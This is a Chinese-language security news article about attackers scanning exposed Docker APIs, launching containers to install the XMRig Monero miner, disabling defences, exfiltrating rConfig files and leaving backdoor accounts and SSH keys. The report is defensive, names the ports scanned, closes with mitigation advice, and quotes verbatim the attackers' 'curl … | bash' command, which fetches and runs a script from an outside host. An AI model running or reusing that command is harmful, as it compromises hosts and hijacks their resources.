骇客扫描网络Docker植入挖矿程式，还修改设定、留下后门
（情境示意图，图片来源：https://commons.wikimedia.org/wiki/File:Radar_Graphic.svg、Docker）
随着愈来愈多关键应用搬上Docker，也成为骇客下手的目标。安全厂商发现骇客近日正在网络上扫描曝露出的API，意图植入挖矿程式利用受害者系统资源谋利，还会关闭系统的防护机制或留下后门。
Bad Packets侦测到从本周日（11月24日）午夜起，出现针对Docker系统的罕见大量扫描网络活动，利用扫描工具Zmap扫描TCP port 2375、2376、2377、4243。这波流量疑似是骇客攻击前的侦察性扫描。
ZDNet引述Bad Packets公司研究长Troy Mursch报导，目前骇客一共扫描了高达近5.9万个IP网络来寻找曝露的Docker执行个体。一旦找到受害系统的API，攻击者就会利用API端点启用Alpine Linux容器，并执行指令“chroot /mnt /bin/sh -c \'curl -sL4 http://ix.io/1XQa | bash”。此一指令可用于下载、执行Bash script，目的在安装Monero挖矿程式XMRig。而在观察到这波流量后2天，骇客已经挖到价值740美元的Monero币。
安全公司另外还发现，骇客还会透过一台远端服务器下载script到受害Docker系统上，企图关闭已知的防火墙及其他安全防护、删除别的挖矿僵尸网络的程式行程，且扫描、加密受害主机上的rConfig设定档，将之传到骇客的C&C服务器。另一家安全业者SandflySecurity 分析则显示它还会留下后门账号、SSH金钥，以及变更主机设定，以便未来更方便控制及存取主机。
安全公司建议用户尽速关闭Docker API传输埠，并删除掉所有不认识的容器。
